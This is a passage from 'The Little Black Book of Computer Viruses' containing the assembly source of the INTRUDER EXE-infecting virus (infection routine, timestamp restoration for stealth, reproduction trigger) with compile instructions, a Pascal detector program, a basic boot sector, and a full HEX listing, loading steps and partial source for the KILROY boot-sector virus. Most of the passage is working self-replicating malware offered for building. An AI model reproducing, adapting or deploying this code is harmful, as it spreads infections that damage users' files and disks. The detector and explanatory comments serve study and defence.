;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
mov dx,OFFSET USEFILE
mov ax,3D02H ;r/w access open file
int 21H
jc RE_RET ;error opening quit without closing
mov [HANDLE],ax ;else save file handle
mov bx,ax ;handle to bx
mov cx,1CH ;read 28 byte EXE file header
mov dx,OFFSET EXE_HDR ;into this buffer
mov ah,3FH
int 21H
RE_RET: ret ;return with c set properly
;**************************************************************************
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 Start of Rel Table
;is = than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
cmp ax,4*NUMRELS ;enough room to put relocatables in?
RR_RET: ret ;exit with carry set properly
;**************************************************************************
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
Appendix B: The INTRUDER Virus 110
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
add ax,WORD PTR [EXE_HDR+8] ;Header size
mov dx,16
mul dx
mov cx,dx
mov dx,ax ;cx:dx = where to look for VIRUSID in file
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H
mov ah,3FH
mov bx,[HANDLE]
mov dx,OFFSET VIDC
mov cx,2 ;read 2 bytes into VIDC
int 21H
jc II_RET ;errorreport as though ID is there already
mov ax,[VIDC]
cmp ax,[VIRUSID] ;is it the VIRUSID?
clc
jnz II_RET ;if not, virus is not already in this file
stc ;else it is probably there already
II_RET: ret
;**************************************************************************
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS, with IP=0. Assumes file pointer is at end
;of file.
SETBDY:
mov al,BYTE PTR [FSIZE]
and al,0FH ;see if we have a paragraph boundary
jz SB_E ;all set exit
mov cx,10H ;no write any old bytes to even it up
sub cl,al ;number of bytes to write in cx
mov dx,OFFSET FINAL ;set buffer up to point anywhere
add WORD PTR [FSIZE],cx ;update FSIZE
adc WORD PTR [FSIZE+2],0
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
SB_E: ret
;**************************************************************************
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
mov cx,WORD PTR [FSIZE+2]
mov dx,WORD PTR [FSIZE]
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to start
int 21H ;go to end of file
call SETBDY ;lengthen to pgrph bdry if necessary
mov cx,OFFSET FINAL ;last byte of code
xor dx,dx ;first byte of code, DS:DX
mov bx,[HANDLE] ;move virus code to end of file being
mov ah,40H ;attacked, using DOS write function
int 21H
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
inc bx
add dx,bx
mov bx,0
adc cx,bx ;cx:dx is that number
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to 1st relocatable
111 The Little Black Book of Computer Viruses
int 21H
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
mov bx,[HANDLE] ;from the EXE header
mov cx,2
mov ah,40H ;and write it to relocatable REL1+1
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
inc bx ;at FSIZE+REL1A+1
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
mov bx,[HANDLE]
mov ax,4200H ;set file ptr to place to write SP to
int 21H
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected pgm
mov bx,[HANDLE] ;from EXE header
mov cx,2
mov ah,40H ;and write it where it belongs
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
add bx,1 ;at FSIZE+REL2+1 on disk
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL2+1
mov bx,[HANDLE]
mov ax,4200H ;set file ptr relavtive to beginning
int 21H
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
mov bx,[HANDLE]
mov cx,4
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
int 21H
;done writing relocatable vectors
;so now adjust the EXE header values
xor cx,cx
xor dx,dx
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to start of file
int 21H
mov ax,WORD PTR [FSIZE] ;calculate new init CS (the virus' CS)
mov cl,4 ;given by (FSIZE/16)HEADER SIZE
shr ax,cl ;(in paragraphs)
mov bx,WORD PTR [FSIZE+2]
and bl,0FH
mov cl,4
shl bl,cl
add ah,bl
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
mov bx,OFFSET FINAL ;compute new initial SS
add bx,10H ;using the formula
mov cl,4 ;SSi=(CSi + (OFFSET FINAL+16)/16)
shr bx,cl
add ax,bx
mov WORD PTR [EXE_HDR+14],ax ;and save it
mov ax,OFFSET VIRUS ;get initial IP
mov WORD PTR [EXE_HDR+20],ax ;and save it
mov ax,STACKSIZE ;get initial SP
mov WORD PTR [EXE_HDR+16],ax ;and save it
mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size
mov bx,OFFSET FINAL
add ax,bx
xor bx,bx
adc dx,bx ;put it in ax:dx
add ax,200H ;and set up the new page count
Appendix B: The INTRUDER Virus 112
adc dx,bx ;page ct= (ax:dx+512)/512
push ax
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
mov WORD PTR [EXE_HDR+4],ax ;and save it here
pop ax
and ax,1FFH ;now calculate last page size
mov WORD PTR [EXE_HDR+2],ax ;and put it here
mov ax,NUMRELS ;adjust relocatables counter
add WORD PTR [EXE_HDR+6],ax
mov cx,1CH ;and save data at start of file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
dec ax ;in order to calculate location of
dec ax ;where to add relocatables
mov bx,4 ;Location=(No in tbl2)*4+Table Offset
mul bx
add ax,WORD PTR [EXE_HDR+24];table offset
mov bx,0
adc dx,bx ;dx:ax=end of old table in file
mov cx,dx
mov dx,ax
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to table end
int 21H
mov ax,WORD PTR [EXE_HDR+22];and set up 2 pointers:
mov bx,OFFSET REL1 ;init CS = seg of REL1
inc bx ;offset of REL1
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
mov ax,WORD PTR [EXE_HDR+22];init CS = seg of REL2
mov bx,OFFSET REL2
add bx,3 ;offset of REL2
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
mov WORD PTR [EXE_HDR+6],ax
mov cx,8 ;and then write 8 bytes of data in file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
ret ;that's it, infection is complete!
;**************************************************************************
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT EQU 63 ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
xor ah,ah ;zero ax to start, set z flag
SR1: ret ;this gets replaced by NOP when program runs
int 1AH
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
ret ;return with z flag set if it is, else nz set
113 The Little Black Book of Computer Viruses
;**************************************************************************
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
mov al,90H ;NOP code
mov BYTE PTR SR1,al ;put it in place of RET above
ret ;and return
;**************************************************************************
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
mov ah,2FH ;get current DTA in ES:BX
int 21H
mov WORD PTR [OLDDTA],bx ;save it here
mov ax,es
mov WORD PTR [OLDDTA+2],ax
mov ax,cs
mov es,ax ;set up ES
mov dx,OFFSET DTA1 ;set new DTA offset
mov ah,1AH
int 21H ;and tell DOS where we want it
ret
;**************************************************************************
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
mov ax,WORD PTR [OLDDTA+2]
mov ds,ax
mov ah,1AH
int 21H ;and tell DOS where to put it
mov ax,cs ;restore ds before exiting
mov ds,ax
ret
;**************************************************************************
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
mov ah,43H ;get file attr
mov al,0
mov dx,OFFSET USEFILE
int 21H
mov [FATTR],cl ;save it here
mov ah,43H ;now set file attr to r/w
mov al,1
mov dx,OFFSET USEFILE
mov cl,0
int 21H
mov dx,OFFSET USEFILE
mov al,2 ;now that we know it's r/w
mov ah,3DH ;we can r/w access open file
int 21H
mov [HANDLE],ax ;save file handle here
mov ah,57H ;and get the file date and time
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx ;and save it here
mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
mov WORD PTR [FSIZE+2],ax ;search routine
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
Appendix B: The INTRUDER Virus 114
mov WORD PTR [FSIZE],ax
ret
;**************************************************************************
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
mov dx,[FDATE] ;get old date and time
mov cx,[FTIME]
mov ah,57H ;set file date and time to old value
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE] ;close file
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H ;Set file attr to old value
mov al,1
mov dx,OFFSET USEFILE
int 21H
ret
FINAL: ;last byte of code to be kept in virus
VSEG ENDS
;**************************************************************************
;Virus stack segment
VSTACK SEGMENT PARA STACK
db STACKSIZE dup (?)
VSTACK ENDS
END VIRUS ;Entry point is the virus
To compile the INTRUDER virus using MASM, just type
masm intruder;
link intruder;
If you use TASM instead, just substitute TASM for MASM in the
above. If you use A86, compile as follows:
a86 intruder.asm intruder.obj
link intruder;
Quite simple. You end up with INTRUDER.EXE, which is an
infected file.
Since the virus infects files without warning, it is essen
tially invisible. The following Turbo Pascal program, FINDINT,
will locate the program on any disk drive. Just call it as ``FINDINT
D'' to search the D: drive for infected files, etc.
{The program find_intruder determines which files are infected by the INTRUDER
virus on a specified disk drive. It works by looking for the same ID code as
the virus does when determining whether a file has already been infected. That
code is located at the initial code segment, offset 0, in the EXE file. This
must be located in the disk file and read, and compared with the value
115 The Little Black Book of Computer Viruses
contained in INTRUDER}
program find_intruder; {Compile with Turbo Pascal 4.0 or higher}
uses dos;
const
id_check :word=$C8AA; {Intruder ID code word to look for}
type
header_type =record {EXE file header structure}
signature :word;
lp_size :word;
pg_count :word;
rel_tbl_entries:word;
hdr_paragraphs :word;
minalloc :word;
maxalloc :word;
init_ss :word;
init_sp :word;
chksum :word;
init_ip :word;
init_cs :word;
rel_tbl_ofs :word;
overlay :word;
end;
var
check_file :file; {File being checked}
header :header_type; {Exe header data area for file being checked}
id_byte :word; {Init CS:0 value from the file being checked}
srchpath :string; {Current path being searched}
{The following routine checks one file for infection by opening it, reading
the EXE header, calculating the location of Initial CS:0000, and reading 2
bytes from there. Then it compares those bytes with id_check. If they're the
same, then the file is infected. If the signature is not correct, then the
program will also display that, so you can find out if you have any nonEXE
files with the extent .EXE with it.}
procedure check_one_file(fname:string);
begin
assign(check_file,fname); {Set up the file with this path\name}
{$I} {I/O checking handled explicitly here}
reset(check_file,1); {Open the file}
if IOResult0 then {If an error, report it to the console}
begin
writeln('IO error on the file ',fname);
exit;
end;
BlockRead(check_file,header,sizeof(header)); {Read the EXE header}
if IOResult0 then
begin
writeln('IO error on the file ',fname);
exit;
end;
if header.signatureord('Z')*256+ord('M') then
begin
writeln(fname,' is not an EXE program file!');
exit;
end;
Seek(check_file,16*(header.hdr_paragraphs+header.init_cs)); {Seek Init CS:0}
if IOResult0 then {Don't forget to take into account the size}
begin {of header in calculating this!}
writeln('IO error on the file ',fname);
exit;
end;
BlockRead(check_file,id_byte,2); {Read 2 bytes at Init CS:0000}
if IOResult0 then
begin
Appendix B: The INTRUDER Virus 116
writeln('IO error on the file ',fname);
exit;
end;
close(check_file); {and close the file}
if IOResult0 then
begin
writeln('IO error on the file ',fname);
exit;
end;
{$I+} {if id_byte read from file = id_check, it's infected}
if id_byte=id_check then writeln(fname,' is infected.')
end;
{The following routine checks all files in the specified path, or any of its
subdirectories for infection. It will check a whole disk if the initial path
is '\'. Note that it is recursive, and if directories are nested too deep,
a stack overflow error will occur.}
procedure check_all_files(path:string);
var
ExeFile :SearchRec;
DirEntry :SearchRec;
begin
FindFirst(path+'\*.*',Directory,DirEntry);
while DosError=0 do
begin
if (DirEntry.Attr and Directory 0)
and (DirEntry.Name[1]'.') then
check_all_files(path+'\'+DirEntry.Name);
FindNext(DirEntry);
end;
FindFirst(path+'\*.EXE',AnyFile,ExeFile);
while DosError=0 do
begin
check_one_file(path+'\'+ExeFile.Name);
FindNext(ExeFile);
end;
end;
begin {main}
if ParamCount=1 then srchpath:=ParamStr(1) {if drive on command line, use it}
else srchpath:=''; {otherwise take default drive}
check_all_files(srchpath); {and check all files on that drive}
end.
117 The Little Black Book of Computer Viruses
Appendix C: A Basic Boot Sector
The gutted out boot sector, BOOT.ASM which is not a
virus, but which forms the core for the Kilroy virus is listed here as
an ASM file. Neither HEX listing nor batch files are provided.
;This is a simple boot sector that will load either MSDOS or PCDOS. It is not
;selfreproducing, but it will be used as the foundation on which to build a
;virus into a boot sector.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care) what is there, but
;we do need the address to jump to defined in a separate segment so we can
;execute a far jump to it.
DOS_LOAD SEGMENT AT 0070H
ASSUME CS:DOS_LOAD
ORG 0
LOAD: DB 0 ;Start of the first os program
DOS_LOAD ENDS
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
;This jump instruction is just here so we can compile this program as a COM
;file. It is never actually executed, and never becomes a part of the boot
;sector. Only the 512 bytes after the address 7C00 in this file become part of
;the boot sector.
ORG 100H
START: jmp BOOTSEC
;The following two definitions are BIOS RAM bytes which contain information
;about the number and type of disk drives in the computer. These are needed by
;the virus to decide on where to look to find drives to infect. They are not
;normally needed by an ordinary boot sector.
;
; ORG 0410H
;
;SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to
;get number of disk drives on this system
;(eg 01 = 2 drives)
;
; ORG 0475H
;
;HD_COUNT: DB ? ;Number of hard drives in the system
;
;This area is reserved for loading the first sector of the root directory, when
;checking for the existence of system files and loading the first system file.
ORG 0500H
DISK_BUF: DW ? ;Start of the buffer
;Here is the start of the boot sector code. This is the chunk we will take out
;of the compiled COM file and put it in the first sector on a 360K floppy disk.
;Note that this MUST be loaded onto a 360K floppy to work, because the
;parameters in the data area that follow are set up to work only with a 360K
;disk!
ORG 7C00H
BOOTSEC: JMP BOOT ;Jump to start of boot sector code
ORG 7C03H ;Start of data area
DOS_ID: DB 'EZBOOT ' ;Name of this boot sector (8 bytes)
SEC_SIZE: DW 200H ;Size of a sector, in bytes
SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster
FAT_START: DW 1 ;Starting sector for the first FAT
FAT_COUNT: DB 2 ;Number of FATs on this disk
ROOT_ENTRIES: DW 70H ;Number of root directory entries
SEC_COUNT: DW 2D0H ;Total number of sectors on this disk
DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
SECS_PER_FAT: DW 2 ;Number of sectors per FAT
SECS_PER_TRK: DW 9 ;Sectors per track for this drive
HEADS: DW 2 ;Number of heads (sides) on this drive
HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk
DSKBASETBL:
DB 0 ;Specify byte 1
DB 0 ;Specify byte 2
DB 0 ;Wait time until motor turned off, in clk ticks
DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)
DB 12H ;Last sector number (lg enough to handle 1.44M)
DB 0 ;Gap length between sectors for r/w operations
DB 0 ;Data xfer lgth when sector lgth not specified
DB 0 ;Gap lgth between sectors for formatting
DB 0 ;Value stored in newly formatted sectors
DB 1 ;Head settle time, in milliseconds
DB 0 ;Motor startup time, in 1/8 seconds
HEAD: DB 0 ;Current head to read from
;Here is the start of the boot sector code
BOOT: CLI ;interrupts off
XOR AX,AX ;prepare to set up segments
MOV ES,AX ;set ES=0
MOV SS,AX ;start stack at 0000:7C00
MOV SP,OFFSET BOOTSEC
MOV BX,1EH*4 ;get address of disk
LDS SI,SS:[BX] ;param table in ds:si
PUSH DS
PUSH SI ;save that address
PUSH SS
PUSH BX ;and its address
MOV DI,OFFSET DSKBASETBL ;and update default
MOV CX,11 ;values to table stored here
CLD ;direction flag cleared
DFLT1: LODSB
CMP BYTE PTR ES:[DI],0 ;anything nonzero
JNZ SHORT DFLT2 ;not default, so don't save it
119 The Little Black Book of Computer Viruses
STOSB ;else put default in place
JMP SHORT DFLT3 ;and go on to next
DFLT2: INC DI
DFLT3: LOOP DFLT1 ;and loop until cx=0
MOV AL,AH ;set ax=0
MOV DS,AX ;set ds=0 so we set disk tbl
MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)
MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
STI ;now turn interrupts on
INT 13H ;and reset disk drive system
ERROR1: JC ERROR1 ;if an error, hang the machine
;Here we look at the first file on the disk to see if it is the first MSDOS or
;PCDOS system file, IO.SYS or IBMBIO.COM, respectively.
LOOK_SYS:
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
XOR AH,AH
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
ADD AX,WORD PTR [FAT_START] ;add starting fat sector
PUSH AX
MOV WORD PTR [DOS_ID],AX ;root dir, save it
MOV AX,20H ;dir entry size
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
MOV BX,WORD PTR [SEC_SIZE] ;sector size
ADD AX,BX ;add one sector
DEC AX ;decrement by 1
DIV BX ;ax=# sectors in root dir
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
MOV BX,OFFSET DISK_BUF ;set up disk buffer @ 0000:0500
POP AX
CALL CONVERT ;convert sec # to bios data
MOV AL,1 ;prepare for 1 sector disk read
CALL READ_DISK ;go read it
MOV DI,BX ;compare first file on disk
MOV CX,11 ;with required file name of
MOV SI,OFFSET SYSFILE_1 ;first system file for PC DOS
REPZ CMPSB
JZ SYSTEM_THERE ;ok, found it, go load it
MOV DI,BX ;compare first file with
MOV CX,11 ;required file name of
MOV SI,OFFSET SYSFILE_2 ;first system file for MS DOS
REPZ CMPSB
ERROR2: JNZ ERROR2 ;not the same an error,
;so hang the machine
;Ok, system file is there, so load it
SYSTEM_THERE:
MOV AX,WORD PTR [DISK_BUF+1CH]
XOR DX,DX ;get size of IBMBIO.COM/IO.SYS
DIV WORD PTR [SEC_SIZE] ;and divide by sector size
INC AL ;ax=number of sectors to read
MOV BP,AX ;store that number in BP
MOV AX,WORD PTR [DOS_ID] ;get sector # of start of data
PUSH AX
MOV BX,700H ;set disk buffer to 0000:0700
RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read
CALL CONVERT ;convert to bios Trk/Cyl/Sec
MOV AL,1 ;read one sector
CALL READ_DISK ;go read the disk
SUB BP,1 ;# sectors to read 1
JZ DO_BOOT ;and quit if we're done
ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to
ADD BX,WORD PTR [SEC_SIZE] ;read and update buffer address
JMP RD_BOOT1 ;then go for another
Appendix C: A Basic Boot Sector 120
;Ok, the first system file has been read in, now transfer control to it
DO_BOOT:
MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
MOV DL,BYTE PTR [DRIVE] ;Drive number in dl
POP BX
JMP FAR PTR LOAD ;and transfer control to op sys
;Convert sequential sector number in ax to BIOS Track, Head, Sector
;information. Save track number in DX, sector number in CH,
CONVERT:
XOR DX,DX
DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track
INC DL ;dl=sector # to start read on
MOV CH,DL ;save it here
XOR DX,DX ;al=track/head count
DIV WORD PTR [HEADS] ;divide ax by head count
MOV BYTE PTR [HEAD],DL ;dl=head number, save it
MOV DX,AX ;ax=track number, save it in dx
RET
;Read the disk for the number of sectors in al, into the buffer es:bx, using
;the track number in DX, the head number at HEAD, and the sector
;number at CH.
READ_DISK:
MOV AH,2 ;read disk command
MOV CL,6 ;shift upper 2 bits of trk #
SHL DH,CL ;to the high bits in dh
OR DH,CH ;and put sec # in low 6 bits
MOV CX,DX
XCHG CH,CL ;ch (05) = sector,
;cl, ch (67) = track
MOV DL,BYTE PTR [DRIVE] ;get drive number from here
MOV DH,BYTE PTR [HEAD] ;and head number from here
INT 13H ;go read the disk
ERROR3: JC ERROR3 ;hang in case of an error
RET
;Move data that doesn't change from this boot sector to the one read in at
;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
;the data area at the beginning of the boot sector.
MOVE_DATA:
MOV SI,OFFSET DSKBASETBL ;Move boot sec code after data
MOV DI,OFFSET DISK_BUF+(OFFSET DSKBASETBLOFFSET BOOTSEC)
MOV CX,OFFSET DRIVE OFFSET DSKBASETBL
REP MOVSB
MOV SI,OFFSET BOOTSEC ;Move initial jump and sec ID
MOV DI,OFFSET DISK_BUF
MOV CX,11
REP MOVSB
RET
SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file
SYSFILE_2: DB 'IO SYS' ;MS DOS System file
ORG 7DFDH
DRIVE: DB 0 ;Disk drive for boot sector
BOOT_ID: DW 0AA55H ;Boot sector ID word
MAIN ENDS
END START
121 The Little Black Book of Computer Viruses
Appendix D: The KILROY Virus
WARNING: If you attempt to create a disk infected with
the KILROY virus, MARK IT CAREFULLY, and DONOTBOOT
WITH IT, unless you are absolutely sure of what you are doing! If
you are not careful you could cause a runaway infection!! Remem
ber that any disk infected with this virus will display the message
``Kilroy was here'' when it boots, so watch out for that message if
you have ever allowed the KILROY virus to execute on your
system! PROCEED AT YOUROWN RISK!
The HEX listing of the Kilroy virus is as follows:
:10000000EB28904B494C524F59202000020201002E
:10001000027000D002FD0200090002000000000092
:1000200000001200000000010000FA33C08EC08EF4
:10003000D0BC007CBB780036C5371E561653BF1E99
:100040007CB90B00FCAC26803D007503AAEB014790
:10005000E2F38AC48ED8894702C7071E7CFBCD1302
:1000600072FEE83E01BB0005803EFD7D80742EBA25
:100070008001803E7504007424B90100B80102CDEE
:1000800013721A813EFE0655AA7512E8FE00BA8068
:1000900001B90100B80103CD137202EB32A01004C4
:1000A00024C0D0C0D0C0FEC03C027223BA0100B848
:1000B0000102B90100CD137216813EFE0655AA75E4
:1000C0000EE8C800BA0100B80103B90100CD13A0C1
:1000D000107C32E4F726167C03061C7C03060E7C9B
:1000E00050A3037CB82000F726117C8B1E0B7C03E9
:1000F000C348F7F30106037CBB000558E85D00B078
:1001000001E86F008BFBB90B00BEB27DF3A6740C47
:100110008BFBB90B00BEBD7DF3A675FEA11C05339C
:10012000D2F7360B7CFEC08BE8A1037C50BB0007E6
:10013000A1037CE82600B001E8380083ED01740BD0
:100140008306037C01031E0B7CEBE58A2E157C8A5B
:1001500016FD7D5BB870005033C050CB33D2F736FC
:10016000187CFEC28AEA33D2F7361A7C8816297CBC
:100170008BD0C3B402B106D2E60AF58BCA86E98AEF
:1001800016FD7D8A36297CCD1372FEC3BE1E7CBF50
:100190001E05B9DF01F3A4BE007CBF0005B90B004A
:1001A000F3A4C3BEC87DB40EAC0AC07404CD10EB7A
:1001B000F5C349424D42494F2020434F4D494F20FE
:1001C00020202020205359534B696C726F7920777F
:1001D00061732068657265210D0A0A000000000045
:1001E000000000000000000000000000000000000F
:1001F000000000000000000000000000000055AA00
:00000001FF
To load it onto a floppy disk, put a disk in drive A and format it
using the /s option to put DOS on the disk. Create the HEX file
KILROY.HEX from the above listing, and load it using LOAD.BAS
in Appendix F. Then create a batch file KILROY_H.BAT that looks
like this:
debug kilroy.com <kilroy_h.dbg
and a file KILROY_H.DBG that looks like this:
r cx
200
w 100 0 0 1
q
and execute KILROY_H with the newly formatted floppy disk in
drive A. The boot sector virus will be put on drive A. If you boot
from that disk even once, your hard disk will be promptly infected,
and you will have to reformat it to get rid of the virus, unless you
use the tools in Appendix G. DONOTDO IT UNLESS YOUARE
SURE YOUKNOWWHATYOUARE DOING.
The assembly language source listing for the Kilroy virus
(KILROY.ASM), in its entirety, is as follows:
;The KILROY onesector boot sector virus will both boot up either MSDOS or
;PCDOS and it will infect other disks.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care) what is there, but
;we do need the address to jump to defined in a separate segment so we can
;execute a far jump to it.
DOS_LOAD SEGMENT AT 0070H
ASSUME CS:DOS_LOAD
ORG 0
LOAD: DB 0 ;Start of the first operating system program
123 The Little Black Book of Computer Viruses
DOS_LOAD ENDS
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
;This jump instruction is just here so we can compile this program as a COM
;file. It is never actually executed, and never becomes a part of the boot
;sector. Only the 512 bytes after the address 7C00 in this file become part of
;the boot sector.
ORG 100H
START: jmp BOOTSEC
;The following two definitions are BIOS RAM bytes which contain information
;about the number and type of disk drives in the computer. These are needed by
;the virus to decide on where to look to find drives to infect. They are not
;normally needed by an ordinary boot sector.
ORG 0410H
SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to
;get number of disk drives on this system
;(eg 01 = 2 drives)
ORG 0475H
HD_COUNT: DB ? ;Number of hard drives in the system
;This area is reserved for loading the boot sector from the disk which is going
;to be infected, as well as the first sector of the root directory, when
;checking for the existence of system files and loading the first system file.
ORG 0500H
DISK_BUF: DW ? ;Start of the buffer
ORG 06FEH
NEW_ID: DW ? ;Location of AA55H in boot sector loaded at
DISK_BUF
;Here is the start of the boot sector code. This is the chunk we will take out
;of the compiled COM file and put it in the first sector on a 360K floppy disk.
;Note that this MUST be loaded onto a 360K floppy to work, because the
;parameters in the data area that follow are set up to work only with a 360K
;disk!
ORG 7C00H
BOOTSEC: JMP BOOT ;Jump to start of boot sector code
ORG 7C03H ;Start of data area
DOS_ID: DB 'KILROY ' ;Name of this boot sector (8 bytes)
SEC_SIZE: DW 200H ;Size of a sector, in bytes
SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster
FAT_START: DW 1 ;Starting sector for the first FAT
FAT_COUNT: DB 2 ;Number of FATs on this disk
ROOT_ENTRIES: DW 70H ;Number of root directory entries
SEC_COUNT: DW 2D0H ;Total number of sectors on this disk
DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
SECS_PER_FAT: DW 2 ;Number of sectors per FAT
SECS_PER_TRK: DW 9 ;Sectors per track for this drive
HEADS: DW 2 ;Number of heads (sides) on this drive
HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk
DSKBASETBL:
DB 0 ;Specify byte 1: step rate time, hd unload time
Appendix D: The KILROY Virus 124
DB 0 ;Specify byte 2: Head load time, DMA mode
DB 0 ;Wait time until motor turned off, in ticks
DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)
DB 12H ;Last sector number (lg enough to handle 1.44M)
DB 0 ;Gap length between sectors for r/w operations
DB 0 ;Data xfer lgth when sector lgth not specified
DB 0 ;Gap length between sectors for formatting
DB 0 ;Value stored in newly formatted sectors
DB 1 ;Head settle time, in milliseconds
DB 0 ;Motor startup time, in 1/8 seconds
HEAD: DB 0 ;Current head to read from
;Here is the start of the boot sector code
BOOT: CLI ;interrupts off
XOR AX,AX ;prepare to set up segments
MOV ES,AX ;set ES=0
MOV SS,AX ;start stack at 0000:7C00
MOV SP,OFFSET BOOTSEC
MOV BX,1EH*4 ;get address of disk
LDS SI,SS:[BX] ;param table in ds:si
PUSH DS
PUSH SI ;save that address
PUSH SS
PUSH BX ;and its address
MOV DI,OFFSET DSKBASETBL ;and update default
MOV CX,11 ;values to table values here
CLD ;direction flag cleared
DFLT1: LODSB
CMP BYTE PTR ES:[DI],0 ;anything nonzero
JNZ SHORT DFLT2 ;not default, so don't save it
STOSB ;else use default value
JMP SHORT DFLT3 ;and go on to next
DFLT2: INC DI
DFLT3: LOOP DFLT1 ;and loop until cx=0
MOV AL,AH ;set ax=0
MOV DS,AX ;set ds=0 to set disk tbl
